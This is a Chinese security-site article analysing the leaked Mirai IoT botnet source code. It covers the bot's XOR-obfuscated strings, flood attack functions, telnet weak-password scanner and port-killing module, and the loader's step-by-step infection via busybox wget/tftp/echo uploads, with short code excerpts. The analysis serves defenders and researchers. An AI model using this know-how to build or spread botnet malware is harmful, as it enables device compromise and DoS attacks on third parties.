频道栏目
首页 > 资讯 > 安全公告 > 正文

互联网安全之Mirai 源码分析

16-12-23        来源:[db:作者]  
收藏   我要投稿

Mirai 源码分析

1. 背景概述

最近的德国断网事件让Mirai恶意程序再次跃入公众的视线,相对而言,目前的IoT领域对于恶意程序还是一片蓝海,因此吸引了越来越多的人开始涉足这趟征程。而作为安全研究者,我们有必要对此提高重视,本文将从另一角度,即以Mirai泄露的源码为例来小窥其冰山一角。

2. 源码分析

选此次分析的Mirai源码(https://github.com/jgamblin/Mirai-Source-Code )主要包含loader、payload(bot)、cnc和tools四部分内容:

loader/src 将payload上传到受感染的设备 mirai/bot 在受感染设备上运行的恶意payload mirai/cnc 恶意者进行控制和管理的接口 mirai/tools 提供的一些工具

其中,cnc部分是Go语言编写的,余下都由C语言编码完成。我们知道payload是在受害者设备上直接运行的那部分恶意代码,而loader的作用就是将其drop到这些设备上,比如宏病毒、js下载者等都属于loader的范畴。对恶意开发者来说,最关键的也就是设计好loader和payload的功能,毕竟这与恶意操作能否成功息息相关,同时它们也是和受害者直接接触的那部分代码,因此这里的分析重点将集中在这两部分代码上,剩下的cnc和tools只做个概要分析。在详细分析之前,我们先给出Mirai对应的网络拓扑关系图,可以有个直观的认识:

2.1 payload分析

这部分代码的主要功能是发起DoS攻击以及扫描其它可能受感染的设备,代码在mirai/bot目录,可简单划分为如下几个模块:

我们首先看一下public模块,主要是一些常用的公共函数,供其它几个模块调用:

/******checksum.c******

*构造数据包原始套接字时会用到校验和的计算*///计算数据包ip头中的校验和uint16_t checksum_generic(uint16_t *, uint32_t); //计算数据包tcp头中的校验和uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);

/******rand.c******///初始化随机数因子void rand_init(void); //生成一个随机数uint32_t rand_next(void); //生成特定长度的随机字符串void rand_str(char *, int); //生成包含数字字母的特定长度的随机字符串void rand_alphastr(uint8_t *, int);

/******resolv.c*******处理域名的解析,参考DNS报文格式*///域名按字符'.'进行划分,并保存各段长度,构造DNS请求包时会用到void resolv_domain_to_hostname(char *, char *); //处理DNS响应包中的解析结果,可参照DNS数据包结构static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count); //构造DNS请求包向8.8.8.8进行域名解析,并获取响应包中的IPstruct resolv_entries *resolv_lookup(char *); //释放用来保存域名解析结果的空间void resolv_entries_free(struct resolv_entries *);

/******table.c*******处理硬编码在table中的数据*///初始化table中的成员void table_init(void); //解密table中对应id的成员void table_unlock_val(uint8_t id); //加密table中对应id的成员void table_lock_val(uint8_t id); //取出table中对应id的成员char *table_retrieve_val(int id, int *len); //向table中添加成员static void add_entry(uint8_t id, char *buf, int buf_len); //和密钥key进行异或操作,即table中数据的加密或解密static void toggle_obf(uint8_t id);

/******util.c******/......//在内存中查找特定的字节序int util_memsearch(char *buf, int buf_len, char *mem, int mem_len); //在具体字符串中查找特定的子字符串,忽略大小写int util_stristr(char *haystack, int haystack_len, char *str); //获取本地ip信息ipv4_t util_local_addr(void); //读取描述符fd对应文件中的字符串char *util_fdgets(char *buffer, int buffer_size, int fd); ......

其中,用的比较多的有rand.c中的rand_next函数,即生成一个整型随机数,以及table.c中的table_unlock_val、table_retrieve_val和 table_lock_val 函数组合,即获取table中的数据,程序中用到的一些信息是硬编码后保存到table中的,如果获取就要用到这个组合,其中涉及到简单的异或加密和解密,这里举个例子:

//保存到table中的硬编码信息add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);

//调用table_unlock_val解密//初始化key,其中table_key = 0xdeadbeef;uint8_t k1 = table_key & 0xff, //0xef k2 = (table_key >> 8) & 0xff, //0xbe k3 = (table_key >> 16) & 0xff, //0xad k4 = (table_key >> 24) & 0xff; //0xde//循环异或for (i = 0; i val_len; i++) { val->val[i] ^= k1; val->val[i] ^= k2; val->val[i] ^= k3; val->val[i] ^= k4;}

/*解密后的信息:listening tun0*这时调用table_retrieve_val就可以获取到所需信息*最后调用table_lock_val加密,同table_unlock_val调用,利用的是两次异或后结果不变的性质*不过考虑到异或的交换律和结合律,上述操作实际上也就相当于各字节异或一次0x22*/接着来看attack模块,此模块的作用就是解析下发的攻击命令并发动DoS攻击,attack.c中主要就是下述两个函数:

/******attack.c******///按照事先约定的格式解析下发的攻击命令,即取出攻击参数void attack_parse(char *buf, int len); //调用相应的DoS攻击函数void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts){ ...... else if (pid2 == 0) { //父进程DoS持续时间到了后由子进程负责kill掉 sleep(duration); kill(getppid(), 9); exit(0); } ...... if (methods[i]->vector == vector) {#ifdef DEBUG printf("[attack] Starting attack...\n");#endif //C语言函数指针实现的C++多态 methods[i]->func(targs_len, targs, opts_len, opts); break; } } ...... }}而attackapp.c、attackgre.c、attacktcp.c和attackudp.c中实现了具体的DoS攻击函数:

/*1)Straight up UDP flood 2)Valve Source Engine query flood* 3)DNS water torture 4)Plain UDP flood optimized for speed*/void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

/*1)SYN flood with options 2)ACK flood* 3)ACK flood to bypass mitigation devices*/void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

// 1)GRE IP flood 2)GRE Ethernet floodvoid attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

// HTTP layer 7 floodvoid attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);可以看到这里设计的函数接口是统一的,因而可以定义如下函数指针,通过这种方式就可以实现和C++多态同样的功能,方便进行扩展:

typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);实际上attack这个模块是可以完整剥离出来的,只需在attackparse或attackstart函数上加一层封装就可以了,要加入其它DoS攻击函数只需符合ATTACK_FUNC的接口即可。

再来看scanner模块,其功能就是扫描其它可能受感染的设备,如果能满足telnet弱口令登录则将结果进行上报,恶意者主要借此扩张僵尸网络,scanner.c中的主要函数如下:

/******scanner.c******///将接收到的空字符替换为'A'int recv_strip_null(int sock, void *buf, int len, int flags); //首先生成随机ip,而后随机选择字典中的用户名密码组合进行telnet登录测试void scanner_init(void); //如果扫描的随机ip有回应,则建立正式连接static void setup_connection(struct scanner_connection *conn); //获取随机ip地址,特殊ip段除外static ipv4_t get_random_ip(void); //向auth_table中添加字典数据static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight); //随机返回一条auth_table中的记录static struct scanner_auth *random_auth_entry(void); //上报成功的扫描结果static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth); //对字典中的字符串进行异或解密static char *deobf(char *str, int *len);为了提高扫描效率,程序对随机生成的IP会先通过构造的原始套接字进行试探性连接,如果有回应才进行后续的telnet登录测试,而这个交互过程和后面的loader与感染节点建立telnet交互后上传恶意payload文件有重复,因此这里就不展开了,可以参考后面的分析。此外,弱口令字典同样采用了硬编码的方式,解密也是采用的异或操作,这和前面table.c中的情形是相似的,也不赘述了。

最后我们来看下kill模块,此模块主要有两个作用,其一是关闭特定的端口并占用,另一是删除特定文件并kill对应进程,简单来说就是排除异己。我们看下其中kill掉22端口的代码:

/******kill.c******/ ...... //查找特定端口对应的的进程并将其kill掉 if (killer_kill_by_port(htons(22))) {#ifdef DEBUG printf("[killer] Killed tcp/22 (SSH)\n");#endif } //通过bind进行端口占用 tmp_bind_addr.sin_port = htons(22); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } ......

另外两处kill掉23端口和80端口的代码与此类似,在killerkillby_port函数中实现了通过端口来查找进程的功能,其中:

/proc/net/tcp 记录了所有tcp连接的情况/proc/pid/exe 包含了正在进程中运行的程序链接/proc/pid/fd 包含了进程打开的每一个文件的链接/proc/pid/status 包含了进程的状态信息此外,程序将通过readdir函数遍历/proc下的进程文件夹来查找特定文件,而readlink函数可以获取进程所对应程序的真实路径,这里会查找与之同类的恶意程序anime,如果找到就删除文件并kill掉进程:

// If path contains ".anime" kill.if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) { unlink(realpath); kill(pid, 9);}同时,如果/proc/$pid/exe文件匹配了下述字段,对应进程也要被kill掉:

REPORT %s:%s HTTPFLOOD LOLNOGTFO \x58\x4D\x4E\x4E\x43\x50\x46\x22zollard

2.2 loader分析

这部分代码的功能就是向感染设备上传(wget、tftp、echo方式)对应架构的payload文件,loader/src的目录结构如下:

headers/ 头文件目录 binary.c 将bins目录下的文件读取到内存中,以echo方式上传payload文件时用到 connection.c 判断loader和感染设备telnet交互过程中的状态信息 main.c loader主函数 server.c 向感染设备发起telnet交互,上传payload文件 telnet_info.c 解析约定格式的telnet信息 util.c 一些常用的公共函数

从功能逻辑上看,还需要mirai/tools/scanListen.go的配合来监听上报的telnet信息,因为main函数中只能从stdin读取对应信息:

// Read from stdinwhile (TRUE) { char strbuf[1024]; if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) break; ...... memset(&info, 0, sizeof(struct telnet_info)); //解析telnet信息 if (telnet_info_parse(strbuf, &info) == NULL)接下来我们对这块内容进行详细的分析,同样先看下那些公共函数,也就是util.c文件,如下:

/******util.c******///输出地址addr处开始的len个字节的内存数据void hexDump (char *desc, void *addr, int len); //bind可用地址并设置socket为非阻塞模式int util_socket_and_bind(struct server *srv); //查找字节序列中是否存在特定的子字节序列int util_memsearch(char *buf, int buf_len, char *mem, int mem_len); //发送socket数据包BOOL util_sockprintf(int fd, const char *fmt, ...); //去掉字符串首尾的空格字符char *util_trim(char *str); 其中用的最经常的是util_sockprintf函数,简单理解就是send发包,但每次的参数个数是可变的。

继续,虽然loader的主要功能在server.c中,但分析它之前我们需要看下余 下的3个c文件,因为很多调用的功能是在其中实现的,首先是binary.c文件中的函数:

/******binary.c******///bin_list初始化,读取所有bins/dlr.*文件BOOL binary_init(void) { ...... //匹配所有bins/dlr.*文件,结果存放pglob if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) ......}//按照不同体系架构获取相应的二进制文件struct binary *binary_get_by_arch(char *arch); //将指定的二进制文件读取到内存中static BOOL load(struct binary *bin, char *fname);即将编译好的不同体系架构的二进制文件读取到内存中,当loader和感染设备建立telnet连接后,如果不得不通过echo命令来上传payload,那么这些数据就会用到了。

接着来看telnet_info.c文件中的函数,如下:

/******telnet_info.c******///初始化telnet_info结构的变量struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);//解析节点的telnet信息,提取相关参数struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);即解析telnet信息格式并存到telnet_info结构体中,通过获取这些信息就可以和受害者设备建立telnet连接了。
[page]

然后是connection.c文件中的函数,主要用来判断telnet交互中的状态信息,如下,只列出部分:

/******connection.c******///判断telnet连接是否顺利建立,若成功则发送回包int connection_consume_iacs(struct connection *conn); //判断是否收到login提示信息int connection_consume_login_prompt(struct connection *conn); //判断是否收到password提示信息int connection_consume_password_prompt(struct connection *conn); //根据ps命令返回结果kill掉某些特殊进程int connection_consume_psoutput(struct connection *conn); //判断系统的体系架构,即解析ELF文件头int connection_consume_arch(struct connection *conn); //判断采用哪种方式上传payload(wget、tftp、echo)int connection_consume_upload_methods(struct connection *conn); //判断drop的payload是否成功运行int connection_verify_payload(struct connection *conn);

//对应的telnet连接状态为枚举类型enum { TELNET_CLOSED, // 0 TELNET_CONNECTING, // 1 TELNET_READ_IACS, // 2 TELNET_USER_PROMPT, // 3 TELNET_PASS_PROMPT, // 4 ...... TELNET_RUN_BINARY, // 18 TELNET_CLEANUP // 19} state_telnet;这里要提一下程序在发包时用到的一个技巧,比如下面的代码:

util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");

//用在其它命令后作为一种标记,可判断之前的命令是否执行#define TOKEN_QUERY "/bin/busybox ECCHI"//如果回包中有如下提示,则之前的命令执行了 #define TOKEN_RESPONSE "ECCHI: applet not found"好了,至此我们已经知道如何将不同架构的二进制文件读到内存中、如何获取待感染设备的telnet信息以及如何判断telnet交互过程中的状态信息,那么下面就可以开始server.c文件的分析了,这里列出几个主要函数:

/******server.c******///判断能否处理新的感染节点void server_queue_telnet(struct server *srv, struct telnet_info *info); //处理新的感染节点void server_telnet_probe(struct server *srv, struct telnet_info *info); //事件处理线程static void *worker(void *arg) { struct server_worker *wrker = (struct server_worker *)arg; struct epoll_event events[128]; bind_core(wrker->thread_id);

while (TRUE) { //等待事件的产生 int i, n = epoll_wait(wrker->efd, events, 127, -1); if (n == -1) perror("epoll_wait"); for (i = 0; i handle_event(wrker, &events[i]); }}//事件处理static void handle_event(struct server_worker *wrker, struct epoll_event *ev); 由于loader可能需要处理很多的感染节点信息,因而设计成了多线程方式。对于每一个建立的telnet连接将采用epoll机制来做事件触发,相比select机制会更有优势,所以当loader通过获取的telnet信息连接感染设备后就开始等待相应事件,这其实是通过编写代码来模拟一个简单的渗透过程,即先发送请求包而后根据返回包判断并确定后续的操作,主要包括以下几步,对应的代码在handle_event函数中:

1)通过待感染节点的telnet用户名和密码成功登录; 2)执行/bin/busybox ps,根据返回结果kill掉某些特殊进程; 3)执行/bin/busybox cat /proc/mounts,根据返回结果切换到可写目录; 4)执行/bin/busybox cat /bin/echo,通过返回结果解析/bin/echo这个ELF文件的头部来判断体系架构,即其中的e_machine字段; 5)选择一种方式上传对应的payload文件,当然首先需要进行判断:

//发请求包util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");

//在返回包中进行判断if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1) conn->info.upload_method = UPLOAD_WGET; else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1) conn->info.upload_method = UPLOAD_TFTP; else conn->info.upload_method = UPLOAD_ECHO;oader同时支持wget、tftp、echo的方式来上传payload,其中wget和tftp服务器的相关信息在创建server时需要给出:

struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip); //wget服务器的ip和port,tftp服务器的ip

6)执行payload并清理。 通过上述这几个简单的步骤,loader就能成功实现对受害者节点的感染了。

2.3 cnc与tools简单分析

cnc目录主要提供用户管理的接口、处理攻击请求并下发攻击命令:

admin.go 处理管理员登录、创建新用户以及初始化攻击 api.go 向感染的bot节点发送命令 attack.go 处理用户的攻击请求 clientList.go 管理感染的bot节点 database.go 数据库管理,包括用户登录验证、新建用户、处理白名单、验证用户的攻击请求 main.go 程序入口,开启23端口和101端口的监听而tools目录主要提供了一些工具,相应的功能如下:

enc.c 对数据进行异或加密处理 nogdb.c 通过修改elf文件头实现反gdb调试 scanListen.go 监听payload(bot)扫描后上报的telnet信息,并将结果交由loader处理 single_load.c 另一个loader实现 wget.c 实现了wget文件下载

3.后记

总体来看Mirai源码代码量不大而且编码风格比较清晰,理解起来并不难。但是有些地方逻辑上还存在瑕疵,例如:

//***loader/src/util.c*** 查找字节序列中是否存在特定的子字节序列

//逻辑不对,util_memsearch("aabc", 4, "abc", 3)就不满足

int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);

但作为IoT下的恶意程序源码还是很值得参考的,特别是随着最近新变种的出现。可想而知变种会加入更多的反调试手段来阻碍分析,而且交互的数据包会更多的采用加密处理,这点还是很容易的,比如在原先异或的基础上加个查表操作,同时对于不同漏洞的利用也会更加的模块化。正因如此,研究其最初的源码是十分有必要的。

相关TAG标签
上一篇:mc集群写入恍惚问题排查
下一篇:CVE-2016-7595 Apple macOS/iOS CoreText OTL::GPOS::ApplyPairPos 越界访问漏洞分析
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站